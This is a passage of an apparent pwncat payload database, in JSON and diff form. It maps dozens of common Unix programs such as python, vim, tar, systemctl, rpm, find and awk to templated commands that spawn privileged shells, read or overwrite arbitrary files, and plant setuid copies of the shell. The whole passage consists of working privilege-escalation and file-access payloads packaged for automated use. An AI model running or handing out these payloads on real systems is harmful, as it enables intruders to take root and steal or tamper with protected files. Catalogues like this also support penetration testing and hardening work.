\"-p\")'"]},{"type":"read","stream":"raw","payload":"{command}","args":["-c","'import sys, os; sys.stdout.buffer.write(open(\"{lfile}\", \"rb\").read())'"]},{"type":"write","stream":"base64","payload":"TF=$({mktemp} -d); {cat} > $TF/b64; {command} -c \"exec('''import base64,os\\n\\nwith open('{lfile}','wb') as h:\\n\\tfor line in open('$TF/b64', 'rb'):\\n\\t\\th.write(base64.b64decode(line.strip()))''')\"; {rm} -f $TF/b64","args":[""],"exit":"{ctrl_d}{ctrl_d}"}],"python3.8":[{"type":"shell","payload":"{command}","args":["-c","'import os; os.execl(\"{shell}\", \"{shell}\", \"-p\")'"]},{"type":"read","stream":"raw","payload":"{command}","args":["-c","'import sys, os; sys.stdout.buffer.write(open(\"{lfile}\", \"rb\").read())'"]},{"type":"write","stream":"base64","payload":"TF=$({mktemp} -d); {cat} > $TF/b64; {command} -c \"exec('''import base64,os\\n\\ntry:\\n\\twith open('{lfile}','wb') as h:\\n\\t\\tfor line in open('$TF/b64', 'rb'):\\n\\t\\t\\th.write(base64.b64decode(line.strip()))\\nexcept:\\n\\twhile 1:\\n\\t\\tsys.stdin.read()''')\"; {rm} -f $TF/b64","args":[""],"exit":"{ctrl_d}{ctrl_d}"}],"python3.7":[{"type":"shell","payload":"{command}","args":["-c","'import os; os.execl(\"{shell}\", \"{shell}\", \"-p\")'"]},{"type":"read","stream":"raw","payload":"{command}","args":["-c","'import sys, os; sys.stdout.buffer.write(open(\"{lfile}\", \"rb\").read())'"]},{"type":"write","stream":"base64","payload":"TF=$({mktemp} -d); {cat} > $TF/b64; {command} -c \"exec('''import base64,os\\n\\ntry:\\n\\twith open('{lfile}','wb') as h:\\n\\t\\tfor line in open('$TF/b64', 'rb'):\\n\\t\\t\\th.write(base64.b64decode(line.strip()))\\nexcept:\\n\\twhile 1:\\n\\t\\tsys.stdin.read()''')\"; {rm} -f $TF/b64","args":[""],"exit":"{ctrl_d}{ctrl_d}"}],"python3.5":[{"type":"shell","payload":"{command}","args":["-c","'import os; os.execl(\"{shell}\", \"{shell}\", \"-p\")'"]},{"type":"read","stream":"raw","payload":"{command}","args":["-c","'import sys, os; sys.stdout.buffer.write(open(\"{lfile}\", \"rb\").read())'"]},{"type":"write","stream":"base64","payload":"TF=$({mktemp} -d); {cat} > $TF/b64; {command} -c \"exec('''import base64,os\\n\\ntry:\\n\\twith open('{lfile}','wb') as h:\\n\\t\\tfor line in open('$TF/b64', 'rb'):\\n\\t\\t\\th.write(base64.b64decode(line.strip()))\\nexcept:\\n\\twhile 1:\\n\\t\\tsys.stdin.read()''')\"; {rm} -f $TF/b64","args":[""],"exit":"{ctrl_d}{ctrl_d}"}],"python3":[{"type":"shell","payload":"{command}","args":["-c","'import os; os.execl(\"{shell}\", \"{shell}\", \"-p\")'"]},{"type":"read","stream":"raw","payload":"{command}","args":["-c","'import sys, os; sys.stdout.buffer.write(open(\"{lfile}\", \"rb\").read())'"]},{"type":"write","stream":"base64","payload":"TF=$({mktemp} -d); {cat} > $TF/b64; {command} -c \"exec('''import base64,os\\n\\ntry:\\n\\twith open('{lfile}','wb') as h:\\n\\t\\tfor line in open('$TF/b64', 'rb'):\\n\\t\\t\\th.write(base64.b64decode(line.strip()))\\nexcept:\\n\\twhile 1:\\n\\t\\tsys.stdin.read()''')\"; {rm} -f $TF/b64","args":[""],"exit":"{ctrl_d}{ctrl_d}"}],"python2":[{"type":"shell","payload":"{command}","args":["-c","'import os; os.execl(\"{shell}\", \"{shell}\", \"-p\")'"]},{"type":"read","stream":"raw","payload":"{command}","args":["-c","'import sys, os; sys.stdout.buffer.write(open(\"{lfile}\", \"rb\").read())'"]},{"type":"write","stream":"base64","payload":"TF=$({mktemp} -d); {cat} > $TF/b64; {command} -c \"exec('''import base64,os\\n\\ntry:\\n\\twith open('{lfile}','wb') as h:\\n\\t\\tfor line in open('$TF/b64', 'rb'):\\n\\t\\t\\th.write(base64.b64decode(line.strip()))\\nexcept:\\n\\twhile 1:\\n\\t\\tsys.stdin.read()''')\"; {rm} -f $TF/b64","args":[""],"exit":"{ctrl_d}{ctrl_d}"}],"python2.7":[{"type":"shell","payload":"{command}","args":["-c","'import os; os.execl(\"{shell}\", \"{shell}\", \"-p\")'"]},{"type":"read","stream":"raw","payload":"{command}","args":["-c","'import sys, os; sys.stdout.buffer.write(open(\"{lfile}\", \"rb\").read())'"]},{"type":"write","stream":"base64","payload":"TF=$({mktemp} -d); {cat} > $TF/b64; {command} -c \"exec('''import base64,os\\n\\ntry:\\n\\twith open('{lfile}','wb') as h:\\n\\t\\tfor line in open('$TF/b64', 'rb'):\\n\\t\\t\\th.write(base64.b64decode(line.strip()))\\nexcept:\\n\\twhile 1:\\n\\t\\tsys.stdin.read()''')\"; {rm} -f $TF/b64","args":[""],"exit":"{ctrl_d}{ctrl_d}"}],"rake":[{"type":"shell","payload":"{command}","args":["-p","'`{shell} 1>&0`'"]}],"redcarpet":[{"type":"read","stream":"print","payload":"{command} | {sed} 's/^

//g' | {sed} 's|

$||g'","args":["{lfile}"]}],"rlwrap":[{"type":"shell","payload":"{command}","args":["-H","/dev/null","{shell}","-p"]}],"rpm":[{"type":"shell","payload":"export TS=$({mktemp} -u); cp {shell} $TS; {command}; $TS -p; {rm} -f $TS","input":"rm -f $TS\nunset TS\n","args":["--eval","\"%{{lua:posix.chown('$TS',0,0);posix.chmod('$TS', '+s');}}\""]}],"rpmquery":[{"type":"shell","payload":"export TS=$({mktemp} -u); cp {shell} $TS; {command}; $TS -p; {rm} -f $TS","input":"rm -f $TS\nunset TS\n","args":["--eval","\"%{{lua:posix.chown('$TS',0,0);posix.chmod('$TS', '+s');}}\""]}],"rsync":[{"type":"shell","payload":"{command}","args":["-e","'{shell} -p -c \"{shell} -p 0<&2 1>&2\"'","127.0.0.1:/dev/null"]}],"ruby":[{"type":"shell","payload":"TF=$({mktemp}); echo 'exec \"{shell} -p\"' > $TF; {command}","args":["$TF"]},{"type":"read","stream":"print","payload":"TF=$({mktemp}); echo 'puts File.read(\"{lfile}\")' > $TF; {command}","args":["$TF"]},{"type":"write","stream":"print","payload":"TF=$({mktemp}); echo 'File.open(\"{lfile}\", \"w+\") {{ |f| f.write(ARGF.read) }}' > $TF; {command}","args":["$TF"],"exit":"{ctrl_d}{ctrl_d}"},{"type":"write","stream":"base64","payload":"TF=$({mktemp}); echo 'File.open(\"{lfile}\", \"w+\") {{ |f| f.write(ARGF.read) }}' > $TF; {base64} -d | {command}","args":["$TF"],"exit":"{ctrl_d}{ctrl_d}"}],"ruby2.5":[{"type":"shell","payload":"TF=$({mktemp}); echo 'exec \"{shell} -p\"' > $TF; {command}","args":["$TF"]},{"type":"read","stream":"print","payload":"TF=$({mktemp}); echo 'puts File.read(\"{lfile}\")' > $TF; {command}","args":["$TF"]},{"type":"write","stream":"print","payload":"TF=$({mktemp}); echo 'File.open(\"{lfile}\", \"w+\") {{ |f| f.write(ARGF.read) }}' > $TF; {command}","args":["$TF"],"exit":"{ctrl_d}{ctrl_d}"},{"type":"write","stream":"base64","payload":"TF=$({mktemp}); echo 'File.open(\"{lfile}\", \"w+\") {{ |f| f.write(ARGF.read) }}' > $TF; {base64} -d | {command}","args":["$TF"],"exit":"{ctrl_d}{ctrl_d}"}],"run-parts":[{"type":"shell","payload":"{command}","args":["--new-session","--regex","'^bash$'","/bin","--arg='-p'"]},{"type":"shell","payload":"{command}","args":["--new-session","--regex","'^sh$'","/bin","--arg='-p'"]}],"scp":[{"type":"shell","payload":"TF=$({mktemp}); echo '{shell} 0<&2 1>&2' > $TF; {chmod} +x \"$TF\"; {command}","args":["-S","$TF","x","y:"]}],"screen":[{"type":"shell","payload":"{command}","args":["{shell}"]}],"script":[{"type":"shell","payload":"{command}","args":["-qc","{shell}","/dev/null"]}],"sed":[{"type":"shell","payload":"{command}","args":["-n","'1e exec {shell} -p 1>&0'","/etc/hosts"]},{"type":"read","stream":"print","payload":"{command}","args":["''","{lfile}"]},{"type":"write","stream":"print","payload":"{command}","args":["-n","'s/\\(.\\)/\\1/w {lfile}'"],"exit":"{ctrl_d}{ctrl_d}"}],"service":[{"type":"shell","payload":"{command}","args":["../../{shell} -p"]}],"setarch":[{"type":"shell","payload":"{command}","args":["$({arch})","{shell} -p"]}],"sftp":[{"type":"shell","payload":"{command}","args":["-o","ProxyCommand=';{shell} -p 0<&2 1>&2'","x"]}],"shuf":[{"type":"read","stream":"print","payload":"{command}","args":["-z","{lfile}"]}],"socat":[{"type":"shell","payload":"{command}","args":["STDIN","EXEC:{shell},nofork,pty"],"exit":"exit\n"},{"type":"read","payload":"{command}","args":["-u","FILE:{lfile}","STDOUT"]},{"type":"write","stream":"print","payload":"{command} 2>/dev/null","args":["-u","STDIN","CREATE:{lfile}"],"exit":"{ctrl_d}"},{"type":"write","stream":"base64","payload":"{base64} -d | {command} 2>/dev/null","args":["-u","STDIN","CREATE:{lfile}"],"exit":"{ctrl_d}"}],"soelim":[{"type":"read","stream":"print","payload":"{command} | {tail} -n +2","args":["{lfile}"]}],"sort":[{"type":"read","stream":"print","payload":"{command}","args":["-m","{lfile}"]}],"sqlite3":[{"type":"shell","payload":"{command}","args":["/dev/null","'.shell {shell} -p'"]},{"type":"read","stream":"print","payload":"echo -e \"CREATE TABLE t(line TEXT);\\n.import {lfile} t\\nSELECT * FROM t;\\n\" | {command}","args":[""]}],"ssh":[{"type":"shell","payload":"{command}","args":["-o","ProxyCommand=';{shell} -p 0<&2 1>&2'","x"]}],"start-stop-daemon":[{"type":"shell","payload":"{command}","args":["-n","$RANDOM","-S","-x","{shell}","--","-p"]}],"stdbuf":[{"type":"shell","payload":"{command}","args":["-i0","{shell}","-p"]}],"strace":[{"type":"shell","payload":"{command}","args":["-o","/dev/null","{shell}","-p"]}],"strings":[{"type":"read","stream":"print","payload":"{command}","args":["{lfile}"]}],"x86_64-linux-gnu-strings":[{"type":"read","stream":"print","payload":"{command}","args":["{lfile}"]}],"x86-linux-gnu-strings":[{"type":"read","stream":"print","payload":"{command}","args":["{lfile}"]}],"systemctl":[{"type":"shell","payload":"TF=$({mktemp} -u).service; TS=$({mktemp} -u); echo -e \"[Service]\\nType=oneshot\\nExecStart={shell} -c 'cp {shell} $TS; {chmod} +sx $TS;'\\n[Install]\\nWantedBy=multi-user.target\" > $TF; {command} link $TF; {command} enable --now $TF; $TS -p","args":[]},{"type":"shell","payload":"{command}","input":"!{shell} -p\n","exit":"exit\n{ctrl_c}","args":[]}],"tac":[{"type":"read","stream":"raw","payload":"{command}","args":["-s","'_-_PWNCAT_RANDOM_DELIM_-_'","{lfile}"]}],"tail":[{"type":"read","stream":"raw","payload":"{command}","args":["-c1GB","{lfile}"]}],"tar":[{"type":"shell","payload":"{command}","args":["-cf","/dev/null","/dev/null","--checkpoint=1","--checkpoint-action=exec={shell} -p"]},{"type":"shell","payload":"{command}","args":["xf","/dev/null","-I","'{shell} -p -c \"{shell} -p <&2 1>&2\"'"]},{"type":"read","stream":"raw","payload":"{command} 2>&1","args":["xf","{lfile}","-I","'{sh} -c \"{cat} 1>&2\"'"]}],"taskset":[{"type":"shell","payload":"{command}","args":["1","{shell}","-p"]}],"tclsh":[{"type":"shell","payload":"TF=none; {command} -h 2>/dev/null 1>&2; TF=$({mktemp}); echo 'exec {shell} -p <@stdin >@stdout 2>@stderr; exit' > $TF; {command}","args":["$TF"]}],"tee":[{"type":"write","stream":"base64","payload":"{base64} -d | {command} >/dev/null","args":["{lfile}"],"exit":"{ctrl_d}{ctrl_d}"}],"time":[{"type":"shell","payload":"{command}","args":["{shell}","-p"]}],"timeout":[{"type":"shell","payload":"{command}","args":["--foreground","7d","{shell}","-p"]}],"tmux":[{"type":"shell","payload":"{command}","args":["-c","{shell}"]}],"ul":[{"type":"read","stream":"print","payload":"{command}","args":["{lfile}"]}],"unexpand":[{"type":"read","stream":"raw","payload":"{command}","args":["-t99999999","{lfile}"]}],"uniq":[{"type":"read","stream":"print","payload":"{command}","args":["{lfile}"]}],"unshare":[{"type":"shell","payload":"{command}","args":["{shell}","-p"]}],"uuencode":[{"type":"read","stream":"raw","payload":"{command} | {uudecode}","args":["{lfile}","/dev/stdout"]}],"valgrind":[{"type":"shell","payload":"{command}","args":["-q","{shell}"]}],"vi":[{"type":"shell","payload":"{command}","args":["-c","':!exec {shell} -p'","-c","':q'"],"exit":"exit\n\n"}],"vim":[{"type":"shell","payload":"{command}","args":["-c","':!exec {shell} -p'","-c","':q'"],"exit":"exit\n\n"},{"type":"shell","payload":"{command}","args":["-c","':py3 import os; os.execl(\"{shell}\", \"{shell}\", \"-p\", \"-c\", \"reset; exec {shell} -p\")'","-c","'quit'"]},{"type":"shell","payload":"{command}","args":["-c","':py import os; os.execl(\"{shell}\", \"{shell}\", \"-p\", \"-c\", \"reset; exec {shell} -p\")'","-c","'quit'"]},{"type":"shell","payload":"{command}","args":["-c","':lua os.execute(\"reset; exec {shell}\")'","-c","'quit'"]},{"type":"read","stream":"print","payload":"{command}","args":["-es","'+%print'","'+:q!'","{lfile}"]},{"type":"write","stream":"print","payload":"{cat} - | {command}","args":["-es","'+%print'","'+:w! {lfile}'","'+:q!'","/dev/stdin"],"exit":"{ctrl_d}"}],"vim.basic":[{"type":"shell","payload":"{command}","args":["-c","':!exec {shell} -p'","-c","':q'"],"exit":"exit\n\n"},{"type":"shell","payload":"{command}","args":["-c","':py3 import os; os.execl(\"{shell}\", \"{shell}\", \"-p\", \"-c\", \"reset; exec {shell} -p\")'","-c","'quit'"]},{"type":"shell","payload":"{command}","args":["-c","':py import os; os.execl(\"{shell}\", \"{shell}\", \"-p\", \"-c\", \"reset; exec {shell} -p\")'","-c","'quit'"]},{"type":"shell","payload":"{command}","args":["-c","':lua os.execute(\"reset; exec {shell}\")'","-c","'quit'"]},{"type":"read","stream":"print","payload":"{command}","args":["-es","'+%print'","'+:q!'","{lfile}"]},{"type":"write","stream":"print","payload":"{cat} - | {command}","args":["-es","'+%print'","'+:w! {lfile}'","'+:q!'","/dev/stdin"],"exit":"{ctrl_d}"}],"rvim":[{"type":"shell","payload":"{command}","args":["-c","':!exec {shell} -p'","-c","':q'"],"exit":"exit\n\n"},{"type":"shell","payload":"{command}","args":["-c","':py3 import os; os.execl(\"{shell}\", \"{shell}\", \"-p\", \"-c\", \"reset; exec {shell} -p\")'","-c","'quit'"]},{"type":"shell","payload":"{command}","args":["-c","':py import os; os.execl(\"{shell}\", \"{shell}\", \"-p\", \"-c\", \"reset; exec {shell} -p\")'","-c","'quit'"]},{"type":"shell","payload":"{command}","args":["-c","':lua os.execute(\"reset; exec {shell}\")'","-c","'quit'"]},{"type":"read","stream":"print","payload":"{command}","args":["-es","'+%print'","'+:q!'","{lfile}"]},{"type":"write","stream":"print","payload":"{cat} - | {command}","args":["-es","'+%print'","'+:w! {lfile}'","'+:q!'","/dev/stdin"],"exit":"{ctrl_d}"}],"wish":[{"type":"shell","payload":"TF=none; {command} -h 2>/dev/null 1>&2; TF=$({mktemp}); echo 'exec {shell} -p <@stdin >@stdout 2>@stderr; exit' > $TF; {command}","args":["$TF"]}],"xargs":[{"type":"shell","payload":"{command}","args":["-a","/dev/null","{shell}","-p"],"exit":"exit\n"},{"type":"read","stream":"print","payload":"{command}","args":["-a","{lfile}","-0"]}],"xxd":[{"type":"read","stream":"raw","payload":"{command} {lfile} | {command} -r ","args":[]},{"type":"write","stream":"raw","payload":"{xxd} -l {length} | {command}","args":["-r","-","{lfile}"]}],"yum":[{"type":"shell","payload":"TF=$({mktemp} -d); {cat} >$TF/x<$TF/y.conf<$TF/y.py</dev/null; TF=$({mktemp} -u); {command} $TF /etc/hosts -T -TT '{shell} #'","args":[]}],"zsh":[{"type":"shell","payload":"{command}","args":["-c","\"{shell} -p\""]}]} +{ + "dd": [ + { + "type": "read", + "payload": "{command} 2>/dev/null", + "args": [ + "if={lfile}" + ], + "suid": [], + "input": "", + "stream": "raw", + "exit": "{ctrl_c}" + }, + { + "type": "write", + "stream": "raw", + "payload": "{command} 2>/dev/null", + "args": [ + "of={lfile}", + "iflag=fullblock", + "bs=1" + ] + } + ], + "cp": [ + { + "type": "write", + "stream": "print", + "payload": "TF=none; {command}; TF=$({mktemp}); {chmod} ugo+r $TF; {cat} > $TF; {command}; rm -f $TF", + "args": [ + "$TF", + "{lfile}" + ], + "exit": "{ctrl_d}" + }, + { + "type": "write", + "stream": "base64", + "payload": "TF=none; {command}; TF=$({mktemp}); {chmod} ugo+r $TF; {base64} -d > $TF; {command}; rm -f $TF", + "args": [ + "$TF", + "{lfile}" + ], + "exit": "{ctrl_d}" + } + ], + "bash": [ + { + "type": "shell", + "stream": "print", + "suid": [ + "-p" + ], + "exit": "exit" + }, + { + "type": "read", + "stream": "raw", + "payload": "{command}", + "args": [ + "-c", + "'{cat} {lfile}'" + ], + "suid": [ + "-p" + ] + }, + { + "type": "write", + "stream": "base64", + "payload": "{command}", + "args": [ + "-c", + "'{base64} -d > {lfile}'" + ], + "suid": [ + "-p" + ], + "exit": "{ctrl_d}{ctrl_d}" + } + ], + "dash": [ + { + "type": "shell", + "stream": "print", + "suid": [ + "-p" + ], + "exit": "exit" + }, + { + "type": "read", + "stream": "raw", + "payload": "{command} -c '{cat} {lfile}'", + "suid": [ + "-p" + ], + "exit": "{ctrl_d}" + }, + { + "type": "write", + "stream": "base64", + "payload": "{command} -c '{base64} -d > {lfile}'", + "suid": [ + "-p" + ], + "exit": "{ctrl_d}" + } + ], + "cat": [ + { + "type": "read", + "stream": "raw", + "payload": "{command} {lfile}" + } + ], + "apt": [ + { + "type": "shell", + "args": [ + "changelog", + "apt" + ], + "input": "!{shell}\n", + "exit": "exit\nq\n" + } + ], + "apt-get": [ + { + "type": "shell", + "args": [ + "changelog", + "apt" + ], + "input": "!{shell}\n", + "exit": "exit\nq\n" + } + ], + "aria2c": [ + { + "type": "shell", + "payload": "export TF=$({mktemp}); export SH=$({mktemp}); {cp} {shell} $SH; echo \"{chown} root:root $SH; {chmod} +sx $SH\" > $TF; {chmod} +x $TF; {command}; sleep 1; {rm} -f $TF; $SH -p", + "input": "rm -f $TF; rm -f $SH; unset TF; unset SH;\n", + "args": [ + "--on-download-error=$TF", + "http://x" + ], + "exit": "exit" + } + ], + "ash": [ + { + "type": "shell", + "stream": "print", + "suid": [ + "-p" + ], + "exit": "exit" + }, + { + "type": "read", + "stream": "print", + "payload": "{command} -c '{cat} {lfile}'", + "suid": [ + "-p" + ], + "exit": "{ctrl_c}" + }, + { + "type": "write", + "stream": "base64", + "payload": "{command} -c '{base64} -d > {lfile}'", + "suid": [ + "-p" + ], + "exit": "{ctrl_c}" + } + ], + "awk": [ + { + "type": "shell", + "payload": "{command} 'BEGIN {{system(\"{shell} -p\")}}'", + "exit": "exit" + }, + { + "type": "read", + "stream": "print", + "payload": "{command} // {lfile}" + }, + { + "type": "read", + "stream": "raw", + "payload": "{command} 'BEGIN {{system(\"{cat} {lfile}\")}}'" + }, + { + "type": "write", + "stream": "print", + "args": [ + "-v", + "LFILE={lfile}", + "'BEGIN {{ printf \"\" > LFILE; while ((getline) > 0){{ print >> LFILE }} }}'" + ], + "exit": "{ctrl_d}" + } + ], + "base32": [ + { + "type": "read", + "stream": "raw", + "payload": "{command} {lfile} | {base32} -d", + "args": [] + } + ], + "base64": [ + { + "type": "read", + "stream": "raw", + "payload": "{command} {lfile} | {base64} -d", + "args": [] + } + ], + "bpftrace": [ + { + "type": "shell", + "args": [ + "-c", + "'{shell} -p'", + "-e", + "'END {{exit()}}'" + ], + "suid": [ + "-p" + ], + "exit": "exit" + } + ], + "busctl": [ + { + "type": "shell", + "input": "!{shell}\n", + "exit": "exit\nq\n" + } + ], + "byebug": [ + { + "type": "shell", + "payload": "TF=$({mktemp}); echo 'system(\"{shell}\")' > $TF; {command}; rm -f $TF", + "args": [ + "--no-stop", + "-q", + "$TF" + ], + "exit": "exit\n" + }, + { + "type": "read", + "payload": "TF=$({mktemp}); echo 'system(\"{cat} {lfile}\")' > $TF; {command}; rm -f $TF", + "args": [ + "--no-stop", + "-q", + "$TF" + ], + "exit": "exit\n" + } + ], + "chmod": [ + { + "type": "shell", + "payload": "{command}", + "args": [ + "+s", + "{shell}; {shell} -p" + ], + "exit": "exit\n" + }, + { + "type": "read", + "payload": "{command} 2>/dev/null", + "args": [ + "+s", + "{dd};", + "{dd}", + "if={lfile}" + ], + "stream": "raw" + }, + { + "type": "write", + "stream": "raw", + "payload": "{command} 2>/dev/null", + "args": [ + "+s", + "{dd};", + "{dd}", + "of={lfile}", + "iflag=count_bytes,fullblock", + "count={length}" + ] + }, + { + "type": "write", + "stream": "print", + "payload": "{command} 2>/dev/null", + "args": [ + "+s", + "{dd};", + "{dd}", + "of={lfile}" + ], + "exit": "{ctrl_d}" + } + ], + "chroot": [ + { + "type": "shell", + "payload": "{command}", + "args": [ + "/", + "{shell}", + "-p" + ], + "exit": "exit\n" + } + ], + "cobc": [ + { + "type": "shell", + "payload": "TF=none; {command} 2>/dev/null; TF=$({mktemp}); echo 'CALL \"SYSTEM\" USING \"exec {shell} -p\".' > $TF; {command} 2>&1; rm -f $TF", + "args": [ + "-xFj", + "--frelax-syntax-checks", + "$TF" + ], + "exit": "exit\n" + } + ], + "cpan": [ + { + "type": "shell", + "payload": "{command}", + "input": "! system(\"{shell} -p\")\n", + "exit": "exit\nexit\n" + } + ], + "cpulimit": [ + { + "type": "shell", + "payload": "{command}", + "args": [ + "-l", + "100", + "-f", + "\"{shell}\"" + ], + "exit": "exit\n" + } + ], + "crash": [ + { + "type": "shell", + "payload": "{command}", + "args": [ + "-h" + ], + "input": "!{shell} -p\n", + "exit": "exit\nq\n" + } + ], + "csh": [ + { + "type": "shell", + "payload": "{command}", + "suid": [ + "-b" + ], + "input": "{shell} -p\n", + "exit": "exit\nexit\n" + }, + { + "type": "read", + "stream": "print", + "payload": "{command}", + "args": [ + "-c", + "\"{cat} {lfile}\"", + "-b" + ] + }, + { + "type": "write", + "stream": "base64", + "payload": "{command}", + "args": [ + "-c", + "\"{base64} -d > {lfile}\"", + "-b" + ], + "exit": "{ctrl_d}{ctrl_d}" + } + ], + "bsd-csh": [ + { + "type": "shell", + "payload": "{command}", + "input": "{shell} -p\n", + "suid": [ + "-b" + ], + "exit": "exit\nexit\n" + }, + { + "type": "read", + "stream": "print", + "payload": "{command}", + "args": [ + "-c", + "\"{cat} {lfile}\"", + "-b" + ] + }, + { + "type": "write", + "stream": "base64", + "payload": "{command}", + "args": [ + "-c", + "\"{base64} -d > {lfile}\"", + "-b" + ], + "exit": "{ctrl_d}{ctrl_d}" + } + ], + "curl": [ + { + "type": "read", + "stream": "raw", + "payload": "{command}", + "args": [ + "-s", + "file://{lfile} --output -" + ] + }, + { + "type": "read", + "stream": "base64", + "payload": "{command} | {base64} -w 0", + "args": [ + "-s", + "file://{lfile} --output -" + ] + }, + { + "type": "write", + "stream": "print", + "payload": "TF=none; {command}; TF=$({mktemp}); {chmod} ugo+r $TF; {cat} > $TF; {command}; rm -f $TF", + "args": [ + "-s", + "file://$TF --output {lfile}" + ], + "exit": "{ctrl_d}" + }, + { + "type": "write", + "stream": "base64", + "payload": "TF=none; {command}; TF=$({mktemp}); {chmod} ugo+r $TF; {base64} -d > $TF; {command}; rm -f $TF", + "args": [ + "-s", + "file://$TF", + "--output", + "{lfile}" + ], + "exit": "{ctrl_d}" + } + ], + "cut": [ + { + "type": "read", + "stream": "print", + "payload": "{command}", + "args": [ + "-d", + "''", + "-f1", + "{lfile}" + ] + } + ], + "date": [ + { + "type": "read", + "stream": "print", + "payload": "{command} | {cut} -d \":\" -f2- | while read line; do echo ${{line:14:-1}}; done", + "args": [ + "-f", + "{lfile}", + "+\"%M%M%M%M%M%M\"", + "2>&1" + ] + } + ], + "diff": [ + { + "type": "read", + "stream": "print", + "payload": "{command}", + "args": [ + "--line-format=%L", + "/dev/null", + "{lfile}" + ] + } + ], + "dmesg": [ + { + "type": "shell", + "payload": "{command}", + "args": [ + "-H" + ], + "input": "!{shell} -p\n", + "exit": "exit\nq\n" + }, + { + "type": "read", + "stream": "print", + "payload": "{command}", + "args": [ + "-rF", + "{lfile}" + ] + } + ], + "dpkg": [ + { + "type": "shell", + "payload": "{command}", + "args": [ + "-l" + ], + "input": "!{shell} -p\n", + "exit": "exit\nq\n" + } + ], + "easy_install": [ + { + "type": "shell", + "payload": "TF=none; {command} -h; TF=$({mktemp} -d);echo \"import os; os.execl('{shell}', '{shell}', '-c', '{shell} -p <$({tty}) >$({tty}) 2>$({tty})')\" > $TF/setup.py; {command} $TF", + "args": [], + "exit": "exit\n" + }, + { + "type": "read", + "stream": "raw", + "payload": "TF=none; {command} -h 2>/dev/null 1>&2; TF=$({mktemp} -d);echo \"import sys; sys.stdout.buffer.write(open('{lfile}', 'rb').read())\" > $TF/setup.py; {command} $TF 2>/dev/null | {tail} -n +4", + "args": [] + }, + { + "type": "write", + "stream": "base64", + "payload": "TF=none; {command} -h 2>/dev/null 1>&2; TF=$({mktemp} -d); {cat} > $TF/b64; echo \"import os; os.execl('''{python}''', 'python', '''-c''', '''import base64\\nwith open('{lfile}','wb') as h:\\n\\tfor line in open('$TF/b64', 'rb'):\\n\\t\\th.write(base64.b64decode(line.strip()))''')\" > $TF/setup.py; {command} $TF 2>/dev/null; {rm} -f $TF/b64", + "args": [], + "exit": "{ctrl_d}{ctrl_d}" + } + ], + "eb": [ + { + "type": "shell", + "payload": "{command}", + "args": [ + "logs" + ], + "input": "!{shell} -p\n", + "exit": "exit\nq\n" + } + ], + "ed": [ + { + "type": "shell", + "payload": "{command}", + "input": "!{shell} -p\n", + "exit": "exit\nq\n" + }, + { + "type": "read", + "stream": "raw", + "payload": "echo ',p' | {command}", + "args": [ + "-s", + "{lfile}" + ], + "input": ",p\n", + "exit": "q\n" + }, + { + "type": "write", + "stream": "print", + "payload": "echo -e \"1,\\$d\\na\\n$({cat})\\n.\\nw\\nq\\n\" | {command}", + "args": [ + "-s", + "{lfile}" + ], + "exit": "{ctrl_d}" + } + ], + "emacs": [ + { + "type": "shell", + "payload": "{command}; {shell} -p", + "args": [ + "-Q", + "-nw", + "--eval '(chmod \"{shell}\" #o4755)'", + "--eval \"(kill-emacs)\"" + ], + "exit": "exit\n" + }, + { + "type": "read", + "stream": "raw", + "payload": "TF=$({mktemp}); {command}; {cat} $TF ", + "args": [ + "-Q", + "-nw", + "{lfile}", + "--eval \"(write-file \\\"$TF\\\")\"", + "--eval '(kill-emacs)'" + ] + }, + { + "type": "write", + "stream": "print", + "payload": "{cat} > /tmp/.em; {command}", + "args": [ + "-Q", + "-nw", + "/tmp/.em", + "--eval \"(write-file \\\"{lfile}\\\")\"", + "--eval '(kill-emacs)'" + ], + "exit": "{ctrl_d}{ctrl_d}" + } + ], + "env": [ + { + "type": "shell", + "payload": "{command} {shell} -p", + "args": [], + "exit": "exit\n" + } + ], + "eqn": [ + { + "type": "read", + "stream": "print", + "payload": "TF={lfile}; {command} | {grep} -Pzo \"(?s)\\.lf 1 $TF.*\" | {tail} -n +2", + "args": [ + "$TF" + ] + } + ], + "expand": [ + { + "type": "read", + "stream": "print", + "payload": "{command}", + "args": [ + "{lfile}" + ] + } + ], + "expect": [ + { + "type": "shell", + "payload": "{command}", + "args": [ + "-c", + "\"spawn {shell} -p; interact\"" + ], + "exit": "exit\n" + }, + { + "type": "read", + "stream": "raw", + "payload": "{command}", + "args": [ + "-c", + "\"spawn {cat} {lfile}; interact\"" + ] + } + ], + "facter": [ + { + "type": "shell", + "payload": "TF=$({mktemp} -d); echo 'exec(\"{shell} -p\")' > $TF/x.rb; FACTERLIB=$TF {command}", + "args": [ + "" + ] + } + ], + "find": [ + { + "type": "shell", + "payload": "{command}", + "args": [ + ".", + "-exec", + "{shell} -p", + "\\;", + "-quit" + ] + }, + { + "type": "read", + "stream": "raw", + "payload": "{command}", + "args": [ + ".", + "-exec", + "{cat} {lfile}", + "\\;", + "-quit" + ] + } + ], + "flock": [ + { + "type": "shell", + "payload": "{command}", + "args": [ + "-u", + "/", + "{shell} -p" + ] + }, + { + "type": "read", + "stream": "raw", + "payload": "{command}", + "args": [ + "-u", + "/", + "{cat} {lfile}" + ] + }, + { + "type": "write", + "stream": "base64", + "payload": "{command}", + "args": [ + "-u", + "/", + "{sh} -c \"{base64} -d > {lfile}\"" + ], + "exit": "{ctrl_d}{ctrl_d}" + } + ], + "fmt": [ + { + "type": "read", + "stream": "raw", + "payload": "{command}", + "args": [ + "-pNON_EXISTING_PREFIX", + "{lfile}" + ] + } + ], + "fold": [ + { + "type": "read", + "stream": "raw", + "payload": "{command}", + "args": [ + "-w99999999", + "{lfile}" + ] + } + ], + "ftp": [ + { + "type": "shell", + "payload": "{command}", + "input": "!{shell} -p\n", + "exit": "exit\nexit\n" + } + ], + "gawk": [ + { + "type": "shell", + "payload": "{command} 'BEGIN {{system(\"{shell} -p\")}}'", + "exit": "exit" + }, + { + "type": "read", + "stream": "print", + "payload": "{command} // {lfile}" + }, + { + "type": "read", + "stream": "raw", + "payload": "{command} 'BEGIN {{system(\"{cat} {lfile}\")}}'" + }, + { + "type": "write", + "stream": "print", + "args": [ + "-v", + "LFILE={lfile}", + "'BEGIN {{ printf \"\" > LFILE; while (getline > 0){{ print >> LFILE; }} }}'" + ], + "exit": "{ctrl_d}" + } + ], + "gcc": [ + { + "type": "shell", + "payload": "{command}", + "args": [ + "-wrapper", + "{shell},-p,-s", + "." + ] + } + ], + "gdb": [ + { + "type": "shell", + "payload": "{command}", + "args": [ + "-q", + "-nx", + "-ex", + "'!{shell} -p'", + "-ex", + "quit" + ] + }, + { + "type": "shell", + "payload": "{command}", + "args": [ + "-q", + "-nx", + "-ex", + "'python import os; 